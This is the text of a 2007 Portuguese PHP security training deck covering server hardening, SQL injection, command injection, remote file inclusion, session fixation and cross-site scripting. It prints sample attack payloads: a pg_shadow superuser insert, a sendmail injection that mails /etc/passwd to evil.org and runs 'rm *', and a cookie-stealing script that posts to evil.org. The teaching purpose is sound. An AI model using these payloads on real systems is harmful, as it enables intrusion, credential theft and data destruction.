  • 3. PHP Summer School Sumário • Segurança do Sistema • Sistema Operativo e Serviços • Servidor de Web • Código PHP • Register Globals • Processamento de Forms • Interacção com Bases de Dados • Chamar programas externos • Incluir ficheiros • Sessões • Cross-Site Scripting • Conclusão Segurança 3
  • 4. PHP Summer School Segurança do Sistema Sistema Operativo e Serviços • Sistema Operativo • Manter o S.O. sempre actualizado • Instalar todos os patchs de segurança disponibilizados pelo vendedor • Serviços • Fechar todos os ports não necessários ou • Desligar todos os serviços de rede não necessários • Ferramentas para auditoria de segurança • Ex: Nessus - http://www.nessus.org/ Segurança 4
  • 5. PHP Summer School Segurança do Sistema Servidor de Web - Configuração • Correr com um UID próprio (ex: nobody) • Desligar opção/módulo para listar o conteúdo de directórios • mod_autoindex • Negar acesso a directórios não necessários <LocationMatch quot;/(scripts|templates|lib|locale|config|docs)/quot;> order deny,allow deny from all </LocationMatch> • Negar acesso a ficheiros não necessários <FilesMatch quot;.(inc)?~?$quot;> order deny,allow deny from all </FilesMatch> Segurança 5
  • 6. PHP Summer School Segurança do Sistema Servidor de Web - Configuração Falhas nestas configurações básicas podem ter consequências gravíssimas Wrong! Right! wget http://foobar.pt/horde/config/horde.php.bak É de notar que o directório config nunca precisa de ser acedido via HTTP. Os ficheiros de configuração são incluidos pelo PHP através do filesystem Segurança 6
  • 7. PHP Summer School Segurança do Sistema Servidor de Web - PHP php.ini: displays_errors = off log_errors = on error_log = /var/log/php.log register_globals = off ** session.use_trans_sid = 0 ** open_basedir = /servers/www/foo.bar/ expose_php = off Auditoria de Segurança da Instalação de PHP: • PHPSecInfo - http://phpsec.org/projects/phpsecinfo/ ** by default Segurança 7
  • 8. PHP Summer School Código PHP Agora que vamos começar a programar, convém termos umas noções básicas. • Segurança é uma medida e não uma característica • Segurança têm de ser balanceada com os custos • Segurança têm de ser balanceada com usabilidade • Um sistema completamente seguro é virtualmente impossível • Usar bom senso para balancear estes conceitos! • Saber os conceitos para programar PHP com segurança é fácil, o difícil é nos habituarmos a usá-los! Segurança 8
  • 9. PHP Summer School Código PHP Primeira lição e regra básica para programar PHP com segurança: Segurança 9
  • 10. PHP Summer School Código PHP Primeira lição e regra básica para programar PHP com segurança: NEVER TRUST USER INPUT!! Segurança 9
  • 11. PHP Summer School Código PHP Aprenderam? Permitam que me repita novamente: Segurança 10
  • 12. PHP Summer School Código PHP Aprenderam? Permitam que me repita novamente: NEVER TRUST USER INPUT!! Segurança 10
  • 13. PHP Summer School Código PHP Register Globals • Desde a versão 4.2.0 que o register_globals está desligado por default. • Foi das alterações de configuração mais polémicas da história do PHP. • Todo o tipo de variáveis externas era introduzida no Global Scope. • Com esta alteração todas as variáveis externas são disponibilizadas em superglobal arrays: $_GET, $_POST, $_COOKIE, $_REQUEST, $_ENV, $_FILES, $_SESSION, ... Segurança 11
  • 14. PHP Summer School Código PHP Register Globals • Desde a versão 4.2.0 que o register_globals está desligado por default. • Foi das alterações de configuração mais polémicas da história do PHP. • Todo o tipo de variáveis externas era introduzida no Global Scope. • Com esta alteração todas as variáveis externas são disponibilizadas em superglobal arrays: $_GET, $_POST, $_COOKIE, $_REQUEST, $_ENV, $_FILES, $_SESSION, ... Wrong! Segurança 11
  • 15. PHP Summer School Código PHP Register Globals • Desde a versão 4.2.0 que o register_globals está desligado por default. • Foi das alterações de configuração mais polémicas da história do PHP. • Todo o tipo de variáveis externas era introduzida no Global Scope. • Com esta alteração todas as variáveis externas são disponibilizadas em superglobal arrays: $_GET, $_POST, $_COOKIE, $_REQUEST, $_ENV, $_FILES, $_SESSION, ... Wrong! Right! Segurança 11
  • 16. PHP Summer School Código PHP Processamento de Forms Spoofed Form Submission: http://example.org/form.html: <form action=quot;/process.phpquot; method=quot;POSTquot;> <select name=quot;colorquot;> <option value=quot;redquot;>red</option> <option value=quot;greenquot;>green</option> <option value=quot;bluequot;>blue</option> </select> <input type=quot;submitquot; /> </form> Spoofed form: <form action=quot;http://example.org/process.phpquot; method=quot;POSTquot;> <input type=quot;textquot; name=quot;colorquot; /> <input type=quot;submitquot; /> </form> Spoofed HTTP Request: POST /process.php HTTP/1.1 Host: example.org Content-Type: application/x-www-form-urlencoded Content-Length: 9 color=red Segurança 12
  • 17. PHP Summer School Código PHP Processamento de Forms Spoofed Form Submission: http://example.org/form.html: <form action=quot;/process.phpquot; method=quot;POSTquot;> <select name=quot;colorquot;> <option value=quot;redquot;>red</option> <option value=quot;greenquot;>green</option> <option value=quot;bluequot;>blue</option> </select> <input type=quot;submitquot; /> Right! </form> Spoofed form: <form action=quot;http://example.org/process.phpquot; method=quot;POSTquot;> <input type=quot;textquot; name=quot;colorquot; /> <input type=quot;submitquot; /> </form> Spoofed HTTP Request: POST /process.php HTTP/1.1 Host: example.org Este exemplo não parece perigoso... Content-Type: application/x-www-form-urlencoded Content-Length: 9 color=red Segurança 12
  • 18. PHP Summer School Código PHP Processamento de Forms Spoofed Form Submission: http://example.org/fupload.php: Spoofed form: <form method=quot;postquot; name=quot;fileuploadquot; action=quot;fupload.phpquot;> <input type=quot;hiddenquot; name=quot;fnquot; value=quot;/var/www/html/index.phpquot;> <input type=quot;hiddenquot; name=quot;fn_typequot; value=quot;textquot;> <input type=quot;hiddenquot; name=quot;fn_sizequot; value=quot;22quot;> <input type=quot;submitquot; name=quot;upload_filequot; value=quot;Uploadquot;> Segurança 13
  • 19. PHP Summer School Código PHP Processamento de Forms Spoofed Form Submission: http://example.org/fupload.php: Right! Spoofed form: <form method=quot;postquot; name=quot;fileuploadquot; action=quot;fupload.phpquot;> <input type=quot;hiddenquot; name=quot;fnquot; value=quot;/var/www/html/index.phpquot;> <input type=quot;hiddenquot; name=quot;fn_typequot; value=quot;textquot;> <input type=quot;hiddenquot; name=quot;fn_sizequot; ... mas este já parece perigoso! value=quot;22quot;> <input type=quot;submitquot; name=quot;upload_filequot; value=quot;Uploadquot;> Segurança 13
  • 20. PHP Summer School Código PHP Interacção com Bases de Dados SQL Injection Exemplo: Ataque: Query executado: http://example.com/edit.php?update_table_submit update users set password=aaa =1&table=users+set+password%3Daaa where user=quot;adminquot; # set name=$name +where+user%3D%27admin%27+%23 Boas práticas: • Filtrem os dados. Se sabem o que esperam, filtrem! • Se a base de dados permitir, coloquem pelicas à volta de todos os dados independente do tipo de dados • “Escape your data” - ex: mysql_real_escape_string(), addslashes() Segurança 14
  • 21. PHP Summer School Código PHP Interacção com Bases de Dados SQL Injection Outro Exemplo: Query executado: 0; insert into pg_shadow(usename,usesysid,usesuper,usecatupd,passwd) select 'crack', usesysid, 't','t','crack' from pg_shadow where usename='postgres'; -- Segurança 15
  • 22. PHP Summer School Código PHP Interacção com Bases de Dados SQL Injection Outro Exemplo: Query executado: 0; insert into pg_shadow(usename,usesysid,usesuper,usecatupd,passwd) select 'crack', usesysid, 't','t','crack' from pg_shadow where usename='postgres'; -- Possível Solução: Segurança 15
  • 23. PHP Summer School Código PHP Chamar programas externos Exemplo: Ataque: http://example.com/send.php?$to=evil%40evil.org+ %3C+%2Fetc%2Fpasswd%3B+rm+%2A Resultado: /usr/sbin/sendmail -i evil@evil.org /etc/passwd; rm * Segurança 16
  • 24. PHP Summer School Código PHP Chamar programas externos Exemplo: Ataque: http://example.com/send.php?$to=evil%40evil.org+ %3C+%2Fetc%2Fpasswd%3B+rm+%2A Resultado: /usr/sbin/sendmail -i evil@evil.org /etc/passwd; rm * Solução: Segurança 16
  • 25. PHP Summer School Código PHP Incluir ficheiros Incluir ficheiros locais... ou remotos se o allow_url_fopen() estiver activo Exemplo: Ataque: http://example.com/leftframe.php?layout=http://evil.org/nasty.html nasty.html: Segurança 17
  • 26. PHP Summer School Código PHP Incluir ficheiros Incluir ficheiros locais... ou remotos se o allow_url_fopen() estiver activo Exemplo: Ataque: http://example.com/leftframe.php?layout=http://evil.org/nasty.html nasty.html: Segurança 17
  • 27. PHP Summer School Código PHP Incluir ficheiros Incluir ficheiros locais... ou remotos se o allow_url_fopen() estiver activo Exemplo: Ataque: http://example.com/leftframe.php?layout=http://evil.org/nasty.html nasty.html: Solução: Segurança 17
  • 28. PHP Summer School Código PHP Sessões Session Fixation / Session Hijacking Exemplo para compreensão: Atacante fornece URL: http://example.com/index.php?PHPSESSID=12345 Vítima usa URL, faz login no site e atacante faz hijacking da sessão Segurança 18
  • 29. PHP Summer School Código PHP Sessões Session Fixation / Session Hijacking Exemplo para compreensão: Atacante fornece URL: http://example.com/index.php?PHPSESSID=12345 Vítima usa URL, faz login no site e atacante faz hijacking da sessão Solução: Segurança 18
  • 30. PHP Summer School Código PHP Cross Site Scripting Exemplo: Ataque - email cujo subject é: <script> self.location.href= quot;http://evil.org/cookie-grab.html?cookies=quot; +escape(document.cookie) </script> Atacante pode ver nos logs do seu servidor os cookies da vítima Segurança 19
  • 31. PHP Summer School Código PHP Cross Site Scripting Exemplo: Ataque - email cujo subject é: <script> self.location.href= quot;http://evil.org/cookie-grab.html?cookies=quot; +escape(document.cookie) </script> Atacante pode ver nos logs do seu servidor os cookies da vítima Solução: Segurança 19
  • 32. PHP Summer School Código PHP Conclusão addslashes() intval() htmlentities() is_int() settype() is_scalar() ctype_digit() is_numeric() preg_match() ctype_alpha() htmlspecialchars() ctype_alnum() mysql_real_escape_string() pg_escape_string() is_float() Segurança 20
  • 33. PHP Summer School Código PHP Exercícios Exercício I Fazer o security fix do seguinte script: Segurança 21
  • 34. PHP Summer School Código PHP Exercícios Solução para o Exercício I: Segurança 22
  • 35. PHP Summer School Código PHP Exercícios Exercício II • Fazer o security fix do seguinte script: • De que tipo de vulnerabilidade sofre este script ? Segurança 23
  • 36. PHP Summer School Código PHP Exercícios Solução para o Exercício II: • O script pode sofrer um ataque de SQL Injection Segurança 24
  • 37. PHP Summer School Código PHP Exercícios Exercício III • Fazer o security fix do seguinte script: • De que tipo de vulnerabilidade sofre este script ? Segurança 25
  • 38. PHP Summer School Código PHP Exercícios Solução para o Exercício III: O script pode sofrer um ataque de Cross Site Scripting Segurança 26
  • 39. PHP Summer School PHP Summer School FIM! Obrigado, perguntas? Nuno Loureiro <nuno@co.sapo.pt> http://blog.sig9.net/ 20/07/2007 Nuno Loureiro <nuno@co.sapo.pt> 20/07/2007